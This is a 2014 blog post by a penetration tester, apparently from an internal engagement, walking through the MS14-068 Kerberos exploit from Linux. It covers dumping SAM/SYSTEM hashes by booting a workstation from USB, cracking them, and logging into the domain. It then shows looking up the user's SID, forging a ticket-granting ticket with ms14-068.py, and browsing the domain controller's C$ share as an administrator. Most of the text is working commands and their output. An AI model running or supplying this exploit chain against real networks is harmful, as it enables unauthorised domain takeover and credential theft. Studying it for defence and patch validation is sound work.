Posted on December 10, 2014 at 8:46 PM
This is a short post on how to exploit MS14-068 on Linux. This came up on my recent internal infrastructure engagement. The primary DC was a vulnerable Windows 2008 R2 SP1 server.
I had physical access to one of the workstations without any credentials (local or domain). So I’ve booted the workstation into Linux from a USB drive and copied SAM and SYSTEM files to my machine. It was a fresh SOE installation without any domain credentials being cached. The default Administrator account was disabled. However, another account "admin" was created and added to the Administrators group. So I did have NTLM hashes for this account and some other non-administrative account named "tuser". The textbook approach is to pass the local admin hash to other workstations searching for domain admin accounts and try to impersonate them. However, starting from KB2871997, hashes for non-500 SIDs cannot be passed anymore.
I could recover the plaintext for the tuser account (not that I needed it) using the Crackq:
vnik@sfly$ for h in hash_for_admin hash_for_tuser; do ./crackq.py -t ntlm $h; done
So I decided to try both accounts to log into the DC hoping for password reuse. Passing the hash for the “admin” account didn’t work (also tried this hash for Administrator). However, I could login as “tuser”, which was a normal domain account:
vnik@sfly$ smbclient -W TESTDOMAIN -U tuser -L DC.TESTDOMAIN.INTERNAL Enter tuser's password: Domain=[TESTDOMAIN] OS=[Windows Server 2008 R2 Enterprise 7601 Service Pack 1] Server=[Windows Server 2008 R2 Enterprise 6.1] Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share
First, let’s get the kerberos tools:
vnik@sfly$ apt-get install krb5-user krb5-config
Then I generated a new kerberos ticket for this “tuser” account:
vnik@sfly$ kinit tuser@TESTDOMAIN.INTERNAL Password for tuser@TESTDOMAIN.INTERNAL:
The ticket should now be saved in
/tmp/krb5cc_0. We'll also need the SID value for "tuser":
vnik@sfly$ rpcclient win2008r2dc.testdomain.internal -W TESTDOMAIN -U tuser Enter tuser's password: rpcclient $> lookupnames tuser tuser S-1-5-21-1104843036-2823267000-3481579848-1105 (User: 1)
Now let’s get the new ticket:
vnik@sfly$ ./ms14-068.py -u tuser@TESTDOMAIN.INTERNAL -s S-1-5-21-1104843036-2823267000-3481579848-1105 -d dc.testdomain.internal Password: [+] Building AS-REQ for testdomain... Done! [+] Sending AS-REQ to testdomain... Done! [+] Receiving AS-REP from testdomain... Done! [+] Parsing AS-REP from testdomain... Done! [+] Building TGS-REQ for testdomain... Done! [+] Sending TGS-REQ to testdomain... Done! [+] Receiving TGS-REP from testdomain... Done! [+] Parsing TGS-REP from testdomain... Done! [+] Creating ccache file 'TGT_tuser@TESTDOMAIN.INTERNAL.ccache'... Done!
and replace our previously generated ticket stored in
vnik@sfly$ mv TGT_tuser@TESTDOMAIN.INTERNAL.ccache /tmp/krb5cc_0 vnik@sfly$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: tuser@TESTDOMAIN.INTERNAL Valid starting Expires Service principal 10/12/14 15:59:47 11/12/14 01:59:47 krbtgt/TESTDOMAIN.INTERNAL@TESTDOMAIN.INTERNAL renew until 17/12/14 15:59:47
And finally, login as admin:
vnik@sfly$ smbclient -W testdomain.internal -k //win2008r2dc.testdomain.internal/c$ OS=[Windows Server 2008 R2 Enterprise 7601 Service Pack 1] Server=[Windows Server 2008 R2 Enterprise 6.1] smb: \> ls $Recycle.Bin DHS 0 Tue Jul 14 12:34:39 2009 Documents and Settings DHS 0 Tue Jul 14 15:06:44 2009 pagefile.sys AHS 2147016704 Fri Dec 10 13:44:14 2014 PerfLogs D 0 Tue Jul 14 13:20:08 2009 Program Files DR 0 Fri Dec 10 12:41:30 2014 Program Files (x86) DR 0 Fri Dec 10 12:41:31 2014 ProgramData DH 0 Fri Dec 10 12:51:07 2014 Recovery DHS 0 Fri Dec 10 11:48:15 2014 System Volume Information DHS 0 Fri Dec 10 12:42:06 2014 Users DR 0 Fri Dec 10 12:10:33 2014 Windows D 0 Fri Dec 10 12:48:14 2014 59897 blocks of size 1048576. 50193 blocks available smb: \>
I also had access to another domain with a vulnerable 2012 R2 primary DC. However, the forged TGT didn't work:
vnik@sfly$ smbclient -W TESTDOMAIN2.INTERNAL -k //dc2012r2.testdomain2.internal/C$ ads_krb5_mk_req: smb_krb5_get_credentials failed for cifs/testdomain2.internal@TESTDOMAIN2.INTERNAL (Server not found in Kerberos database) cli_session_setup_kerberos: spnego_gen_krb5_negTokenInit failed: Server not found in Kerberos database session setup failed: NT_STATUS_UNSUCCESSFUL